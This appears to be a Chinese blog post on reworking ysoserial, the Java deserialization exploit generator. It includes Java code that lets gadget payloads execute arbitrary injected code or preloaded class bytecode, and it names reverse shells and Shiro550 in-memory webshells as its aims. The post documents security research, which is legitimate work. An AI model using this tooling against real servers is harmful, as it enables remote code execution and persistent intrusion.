ysoserial 改写心得
Drunkbaby Lv6

ysoserial 改写心得

0x01 前言

终于还是要对这玩意儿动手了啊,自己打算从 0.9 到 1 完成改写,不看其他师傅的文章,进行独立分析。(最后还是参考了哈哈哈,我太菜了)

0x02 结构/代码分析

几个文件夹,先看 payloads

  • payloads 文件夹

payloads 文件夹里面是我们平常写的 EXP,运行如图

并且它会打印如下语句

这里的 calc.exe 实际上是因为在 ysoserial.payloads.util 的 PayloadRunner 类中的 getDefaultTestCmd 方法,定义了最开始的值。

  • util 文件夹

里面都是一些工具类,比如在 Gadgets 类里面,有创建字节码,创建动态代理的方法。

  • Annotation 文件夹

里面是一些声明,比如 Authors 这些

  • exploit 文件夹

里面放了一些直接调用的 EXP

  • 文件夹外的几个类

GeneratePayload.java 生成 poc 的入口函数
Deserializer.java 反序列化模块
Serializer.java 序列化模块
Strings.java 字符处理模块

0x03 改写 yso 的出发点

改写

1、将原本的命令执行 payload 变成写入内存马。
2、解决 shiro550 serializeID 不一样的问题。

首先在 Gadgets 类里面,有这么一段话

TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections

此处本身是命令执行的方式 Runtime.getRuntime.exec("cmd"),这一定并非是我们最想要的,所以要将其进行改写,把命令执行的方式改成执行代码块的方式,先从简单的弹 shell 开始,到后面打内存马。

参考 c0ny1 师傅的文章 http://gv7.me/articles/2019/enable-ysoserial-to-support-execution-of-custom-code/

我这边添加了四种方式

序号 方式 描述
1 “code:代码内容” 代码量比较少时采用
2 “codebase64:代码内容base64编码” 防止代码中存在但引号,双引号,&等字符与控制台命令冲突。
3 “codefile:代码文件路径” 代码量比较多时采用
4 “classfile:class路径“ 利用已生成好的 class 直接获取其字节码

通过在输入的 command 前添加前缀,根据不同前缀进行不同的处理方式

这其中 code codebase codefile 前缀的都是插入代码,然后动态生成 templates

classfile 则是直接读取 class 文件中的字节码动态生成 templates(感觉实际情况里面用到这种相当多)

所以其实 ysoserial 的初步改写就是去改写这一段内容,进行 cmd 的不同程度的利用即可。

先写一个 CmdUtils,用来处理字节码,以及 .class 类型的文件

package ysoserial.payloads.util;  
  
import java.io.*;  
  
public class CmdUtils {  
  
    public static String readStringFromInputStream(InputStream inputStream) throws Exception{  
        StringBuilder stringBuilder = new StringBuilder("");  
        byte[] bytes = new byte[1024];  
        int n = 0;  
        while ((n=inputStream.read(bytes)) != -1){  
            stringBuilder.append(new String(bytes,0,n));  
        }  
        return stringBuilder.toString();  
    }  
  
    public static byte[] getBytes(String path) throws Exception{  
        InputStream inputStream = new FileInputStream(path);  
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  
        int n = 0;  
        while ((n=inputStream.read())!=-1){  
            byteArrayOutputStream.write(n);  
        }  
        byte[] bytes = byteArrayOutputStream.toByteArray();  
        return bytes;  
    }  
  
  
    public static byte[] readClassByte(String filename) throws IOException{  
        File f = new File(filename);  
        if (!f.exists()) {  
            throw new FileNotFoundException(filename);  
        }  
        ByteArrayOutputStream bos = new ByteArrayOutputStream((int) f.length());  
        BufferedInputStream in = null;  
        try {  
            in = new BufferedInputStream(new FileInputStream(f));  
            int buf_size = 1024;  
            byte[] buffer = new byte[buf_size];  
            int len = 0;  
            while (-1 != (len = in.read(buffer, 0, buf_size))) {  
                bos.write(buffer, 0, len);  
            }  
            return bos.toByteArray();  
        } catch (IOException e) {  
            e.printStackTrace();  
            throw e;  
        } finally {  
            try {  
                in.close();  
            } catch (IOException e) {  
                e.printStackTrace();  
            }  
            bos.close();  
        }  
    }  
  
    public static String getCodeFile(String codefile) {  
        try{  
            File file = new File(codefile);  
            if (file.exists()){  
                FileReader reader = new FileReader(file);  
                BufferedReader bufferedReader = new BufferedReader(reader);  
                StringBuilder sb = new StringBuilder("");  
                String line = "";  
                while ((line=bufferedReader.readLine()) != null){  
                    sb.append(line);  
                    sb.append("\r\n");  
                }  
                return sb.toString();  
            } else {  
                System.err.println(String.format("[-] %s is not exists!",codefile));  
                System.exit(0);  
                return null;  
            }  
        } catch (Exception e){  
            e.printStackTrace();  
            return null;  
        }  
    }  
}

接着改写 Gadgets 类,增添如下代码

byte[] classBytes = null;  
String cmd = "";  
if (command.startsWith("code:")){  
    cmd = command.substring(5);  
} else if (command.startsWith("codebase64:")){  
    byte[] decode = new BASE64Decoder().decodeBuffer(command.substring(11));  
    cmd = new String(decode);  
} else if (command.startsWith("codefile:")){  
    String codefile = command.substring(9);  
    cmd = CmdUtils.getCodeFile(codefile);  
    // 指定了 class文件之后 直接读取字节码  
} else if (command.startsWith("classfile:")){  
    String classfile = command.substring(10);  
    classBytes = CmdUtils.readClassByte(classfile);  
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});  
    Reflections.setFieldValue(templates, "_name", "Pwnr");  
    return templates;  
} else {  
    cmd = "java.lang.Runtime.getRuntime().exec(\"" +  
        command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +  
        "\");";  
}  
clazz.makeClassInitializer().insertAfter(cmd);  
clazz.setName("ysoserial.Pwner" + System.nanoTime());  
CtClass superC = pool.get(abstTranslet.getName());  
clazz.setSuperclass(superC);

至此,我们基本的需求是没问题了,但是还差很多,比如 shiro550 的内存马,比如 SerialVersionID 的问题,比如 Tomcat Header 缩短的问题都亟待解决,

解决问题

Tomcat Header 的限制

这个其实好解决,可以用之前在 《Java 回显技术》一文当中的缩短 Tomcat Shiro Header 的方法,此处不再提及,还有 Y4tacker 师傅分享的缩短 Header 的方法,挂个链接,之后再看。

https://y4tacker.github.io/2022/04/14/year/2022/4/%E6%B5%85%E8%B0%88Shiro550%E5%8F%97Tomcat-Header%E9%95%BF%E5%BA%A6%E9%99%90%E5%88%B6%E5%BD%B1%E5%93%8D%E7%AA%81%E7%A0%B4/

感觉自己开发基本功不好,暂且咕咕咕了。

 评论